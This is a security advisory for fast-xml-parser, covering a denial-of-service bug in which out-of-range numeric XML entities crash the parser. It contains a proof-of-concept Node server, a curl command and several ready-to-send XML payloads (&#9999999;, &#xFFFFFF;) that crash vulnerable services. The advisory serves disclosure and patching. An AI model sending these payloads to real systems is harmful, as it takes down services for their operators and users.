High

fast-xml-parser has RangeError DoS Numeric Entities Bug

Disclosed: 30.01.2026
Updated: 11.10.2026 10:22

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

[0-9]{1,7} matches up to 9,999,999
[0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

bash

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

xml

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads
File processors parsing uploaded XML files
Message queues consuming XML messages
RSS/Atom feed parsers
SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	fast-xml-parser	>= 5.0.9, < 5.3.4	5.3.4

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-20, CWE-248
Platform: npm
Package: fast-xml-parser
Disclosed: 30.01.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-37qj-frw5-hhjh - CC BY 4.0

Vulnerability history: fast-xml-parser

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (12) in the archive

Total entries: 12
First → latest: 08.2021 07.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 6
Medium 3
Low 2

Disclosures per year

2021: 1
2022: 0
2023: 2
2024: 1
2025: 0
2026: 8

21.07.2026

fast-xml-parser: Repeated DOCTYPE declarations reset entity expansion limits

High CVE-2026-73569 >= 5.9.3, < 5.10.1 5.10.1
17.03.2026

fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)

High · 7.5 CVE-2026-33036 >= 5.0.0, < 5.5.6, >= 4.0.0-beta.3, < 4.5.5 5.5.6, 4.5.5
20.02.2026

fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

Critical · 9.3 CVE-2026-25896 >= 5.0.0, < 5.3.5, >= 4.1.3, < 4.5.4 5.3.5, 4.5.4
17.02.2026

fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)

High · 7.5 CVE-2026-26278 >= 4.1.3, < 4.5.4, >= 5.0.0, < 5.3.6 4.5.4, 5.3.6
30.01.2026

fast-xml-parser has RangeError DoS Numeric Entities Bug this entry

High · 7.5 CVE-2026-25128 >= 5.0.9, < 5.3.4 5.3.4
29.07.2024

fast-xml-parser vulnerable to ReDOS at currency parsing

High · 7.5 CVE-2024-41818 >= 4.3.5, < 4.4.1 4.4.1
06.06.2023

fast-xml-parser vulnerable to Regex Injection via Doctype Entities

High · 7.5 CVE-2023-34104 >= 4.1.3, < 4.2.4 4.2.4

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application